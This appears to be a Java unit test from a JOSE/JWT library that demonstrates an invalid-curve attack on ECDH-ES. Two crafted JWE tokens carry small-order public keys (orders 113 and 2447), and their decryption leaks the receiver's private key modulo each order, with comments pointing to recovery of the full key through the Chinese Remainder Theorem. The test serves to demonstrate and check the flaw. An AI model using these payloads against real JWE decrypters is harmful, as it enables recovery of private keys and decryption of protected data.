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private static ECKey generateECJWK(final ECKey.Curve curve)
throws Exception {
final ECParameterSpec ecParameterSpec = curve.toECParameterSpec();
KeyPairGenerator generator = KeyPairGenerator.getInstance("EC");
generator.initialize(ecParameterSpec);
KeyPair keyPair = generator.generateKeyPair();
final ECPrivateKey privateKey = (ECPrivateKey) keyPair.getPrivate();
ECPrivateKey pk = new ECPrivateKey() {
BigInteger bi = new BigInteger(
"38124166010662753100689735609285807169841714722622367731519061366402702420444");
@Override
public ECParameterSpec getParams() {
return ecParameterSpec;
}
@Override
public String getFormat() {
return privateKey.getFormat();
}
@Override
public byte[] getEncoded() {
return bi.toByteArray();
}
@Override
public String getAlgorithm() {
return privateKey.getAlgorithm();
}
@Override
public BigInteger getS() {
return bi;
}
};
return new ECKey.Builder(curve, (ECPublicKey) keyPair.getPublic())
.privateKey(pk).build();
}
public void testCycle_ECDH_ES_Curve_P256() throws Exception {
ECKey ecJWK = generateECJWK(ECKey.Curve.P_256);
BigInteger privateReceiverKEy = ecJWK.toECPrivateKey().getS();
JWEHeader header = new JWEHeader.Builder(JWEAlgorithm.ECDH_ES,
EncryptionMethod.A128GCM)
.agreementPartyUInfo(Base64URL.encode("Alice"))
.agreementPartyVInfo(Base64URL.encode("Bob")).build();
// ========================= attacking point #1 with order 113
// ======================
BigInteger attackerOrderGroup1 = new BigInteger("113");
BigInteger receiverPrivateKeyModAttackerOrderGroup1 = privateReceiverKEy
.mod(attackerOrderGroup1);
System.out.println("The receiver private key is equal to "
+ receiverPrivateKeyModAttackerOrderGroup1 + " mod "
+ attackerOrderGroup1);
// The malicious JWE contains a public key with order 113
String maliciousJWE1 = "eyJhbGciOiJFQ0RILUVTK0ExMjhLVyIsImVuYyI6IkExMjhDQkMtSFMyNTYiLCJlcGsiOnsia3R5IjoiRUMiLCJ4IjoiZ1RsaTY1ZVRRN3otQmgxNDdmZjhLM203azJVaURpRzJMcFlrV0FhRkpDYyIsInkiOiJjTEFuakthNGJ6akQ3REpWUHdhOUVQclJ6TUc3ck9OZ3NpVUQta2YzMEZzIiwiY3J2IjoiUC0yNTYifX0.qGAdxtEnrV_3zbIxU2ZKrMWcejNltjA_dtefBFnRh9A2z9cNIqYRWg.pEA5kX304PMCOmFSKX_cEg.a9fwUrx2JXi1OnWEMOmZhXd94-bEGCH9xxRwqcGuG2AMo-AwHoljdsH5C_kcTqlXS5p51OB1tvgQcMwB5rpTxg.72CHiYFecyDvuUa43KKT6w";
JWEObject jweObject1 = JWEObject.parse(maliciousJWE1);
ECDHDecrypter decrypter = new ECDHDecrypter(ecJWK.toECPrivateKey());
decrypter.getJCAContext().setContentEncryptionProvider(
BouncyCastleProviderSingleton.getInstance());
jweObject1.decrypt(decrypter);
// this proof that receiverPrivateKey is equals 26 % 113
assertEquals("Gambling is illegal at Bushwood sir, and I never slice.",
jweObject1.getPayload().toString());
// ========================= attacking point #2 with order 2447
// ======================
BigInteger attackerOrderGroup2 = new BigInteger("2447");
BigInteger receiverPrivateKeyModAttackerOrderGroup2 = privateReceiverKEy
.mod(attackerOrderGroup2);
System.out.println("The receiver private key is equal to "
+ receiverPrivateKeyModAttackerOrderGroup2 + " mod "
+ attackerOrderGroup2);
// The malicious JWE contains a public key with order 2447
String maliciousJWE2 = "eyJhbGciOiJFQ0RILUVTK0ExMjhLVyIsImVuYyI6IkExMjhDQkMtSFMyNTYiLCJlcGsiOnsia3R5IjoiRUMiLCJ4IjoiWE9YR1E5XzZRQ3ZCZzN1OHZDSS1VZEJ2SUNBRWNOTkJyZnFkN3RHN29RNCIsInkiOiJoUW9XTm90bk56S2x3aUNuZUprTElxRG5UTnc3SXNkQkM1M1ZVcVZqVkpjIiwiY3J2IjoiUC0yNTYifX0.UGb3hX3ePAvtFB9TCdWsNkFTv9QWxSr3MpYNiSBdW630uRXRBT3sxw.6VpU84oMob16DxOR98YTRw.y1UslvtkoWdl9HpugfP0rSAkTw1xhm_LbK1iRXzGdpYqNwIG5VU33UBpKAtKFBoA1Kk_sYtfnHYAvn-aes4FTg.UZPN8h7FcvA5MIOq-Pkj8A";
JWEObject jweObject2 = JWEObject.parse(maliciousJWE2);
decrypter.getJCAContext().setContentEncryptionProvider(
BouncyCastleProviderSingleton.getInstance());
jweObject2.decrypt(decrypter);
// this proof that receiverPrivateKey is equals 2446 % 2447
assertEquals("Gambling is illegal at Bushwood sir, and I never slice.",
jweObject2.getPayload().toString());
// THIS CAN BE DOIN MANY TIME
// ....
// AND THAN CHINESE REMAINDER THEOREM FTW
}
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